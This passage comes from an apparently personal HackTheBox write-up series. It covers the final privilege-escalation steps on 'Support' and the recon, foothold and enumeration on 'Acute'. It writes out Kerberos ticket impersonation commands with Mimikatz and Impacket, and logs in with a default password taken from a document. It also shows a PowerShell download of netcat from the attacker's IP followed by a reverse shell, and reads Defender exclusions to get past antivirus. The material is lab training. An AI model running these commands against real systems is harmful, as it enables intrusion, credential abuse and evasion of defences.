class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .\code_x64.exe &amp;#34;kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was still another way. I had already reached the final step of obtaining the ST, and geST.py matched exactly what I needed. I could access ports 88 and 389 on the target, so Impacket was a good option at this point.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0749.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. That was painful. I started importing the ticket using the same method I had documented before.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0750.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had clearly imported it, yet it still failed. I tried every command above and none of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0751.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This blog post gave me the answer: &lt;a class="link" href="https://github.com/fortra/impacket/issues/779" target="_blank" rel="noopener"&#10; &gt;https://github.com/fortra/impacket/issues/779&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0752.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every time I ran an Impacket script, I had to synchronize the clock first. I had already disabled local time synchronization, but it still behaved this way. Now that I had run into the issue, I would know how to solve it the next time it happened.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0753.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This was a really good box for broadening my skills. During the initial shell stage, I learned to identify the language an application was written in and then find the matching decompiler. It was just like Python and Java: once you use the appropriate decompiler, the code logic is understandable (I genuinely cannot make sense of IDA). This one was C#, and I found the right decompiler for it. I also learned how to run EXE files with Wine on Kali. I had kept getting errors when I first tried to configure it and simply ignored them, so I was glad I eventually got it working. Then there was LDAP: you need to inspect all of the information yourself, because something useful may be hidden in the info field.&lt;/p&gt;&#10;&lt;p&gt;I got stuck far too often during privilege escalation. BloodHound did not show me a direct relationship from the user to the group. Here I learned that the current user is not the only possible starting point; the user&amp;rsquo;s group can be one too. Resource-based constrained delegation itself was not a major problem, since there are plenty of tutorials online. The real obstacle was antivirus evasion. I could not find an antivirus-safe build of Rubeus.exe online. There was one for Mimikatz, but generating an ST with it seemed more complicated. The command I pieced together did not work, and Google did not turn up anyone using Mimikatz to generate an ST; everyone used Rubeus.exe. Fortunately, I eventually realized that since I had reached the last step—generating the ST—I could use Impacket instead. Ports 88 and 389 were open on the target, which made that possible. If they had been closed, I might have needed another approach. And I learned the most important lesson of all: when using Impacket tools, synchronize the clock first.&lt;/p&gt;&#10;&lt;p&gt;Overall, this was a pretty good box.&lt;/p&gt;&#10;&lt;h2 id="23acute"&gt;&lt;a href="#23acute" class="header-anchor"&gt;&lt;/a&gt;23.Acute&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0754.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0755.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0756.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, but I&amp;rsquo;d run into this situation before, so I checked the certificate.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0757.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me a domain name.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0758.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, but HTTPS was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0759.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb fingerprinted it as a .NET site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whatweb https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added asp and aspx to the extensions and started brute-forcing. At the same time, I used FFUF to brute-force subdomains and looked around for any endpoints on the site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H &amp;#34;Host: FUZZ.acute.local&amp;#34; --hc 404&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0760.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0761.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The brute-force scans didn&amp;rsquo;t give me much.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0762.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file in the top-right corner. I downloaded it, and its creator was FCastle.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0763.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned a login URL.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0764.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also mentioned a default password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the end, it said Lois was the administrator—the only administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0765.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I felt I still hadn&amp;rsquo;t gathered everything, so I went back through it line by line and translated and reviewed everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0766.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;PSWA? I searched for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0767.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be a web-based PowerShell interface for running commands. What this seemed to mean was that new users could execute commands in the browser through PSWA. I already had the default password; now I needed the login page and a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0768.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were several hyperlinks here. I checked them one by one, and they all pointed to &lt;a class="link" href="https://atsserver.acute.local/" target="_blank" rel="noopener"&#10; &gt;https://atsserver.acute.local/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0769.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/Acute_Staff_Access&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0770.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the login page. I still needed a username.&lt;/p&gt;&#10;&lt;p&gt;The directory brute-force scan seemed to have already given me the answer, because this was the only accessible file on the site. I&amp;rsquo;d noticed the same thing while browsing manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0771.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0772.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had usernames.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Aileen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Wallace&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Charlotte&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Evan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Davies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ieuan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Monks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;oshua&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Morgan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Lois&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hopkins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FCastle&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0773.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The JavaScript was obfuscated. There weren&amp;rsquo;t many users anyway, so trying them manually was fine.&lt;/p&gt;&#10;&lt;p&gt;I tried every one of them, and none worked. The problem might have been here:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0774.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the Word document to see whether it contained anything else, but it didn&amp;rsquo;t. There were a few scattered details, none of them important. I checked the website again and found nothing there either. Finally, I looked at the file metadata and found a hostname.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0775.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Acute-PC01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;edavies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0776.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no flag in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0777.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This wasn&amp;rsquo;t the domain controller. It was most likely a domain member, and WinRM was enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0778.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user had a home directory, but it wasn&amp;rsquo;t under the normal users. Strangely, I couldn&amp;rsquo;t find the current user in net user. Was the current user not a regular user?&lt;/p&gt;&#10;&lt;p&gt;There wasn&amp;rsquo;t much information, so I planned to upload winPEASany.exe and take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0779.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I figured I&amp;rsquo;d pop a shell. Uploading it directly got it killed. Do these last few boxes actually expect AV evasion? I uploaded netcat and used it for a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\netcat.exe 10.10.16.14 6666 -e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0780.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEAS.bat, but even the BAT version was killed. I had no idea how to proceed, so I checked the box description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0781.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea how I was supposed to discover JEA from anything other than the description, so I decided to read some write-ups and see how other people approached it.&lt;/p&gt;&#10;&lt;p&gt;They all mentioned a Utils directory containing a desktop.ini file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://petri.com/microsoft-defender-exclusions-list-windows-10/" target="_blank" rel="noopener"&#10; &gt;https://petri.com/microsoft-defender-exclusions-list-windows-10/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog pointed out that attackers can read the Microsoft Defender exclusions list.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions&amp;#34; /s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0782.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany also reported it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0783.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That made the logic click. The next time I run into antivirus, I can query the excluded directories this way.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0784.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could actually see it here too: uploading winPEAS to this directory allowed it to be uploaded and executed. As usual, I focused on the red findings. I&amp;rsquo;ve written the information I collected below.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span 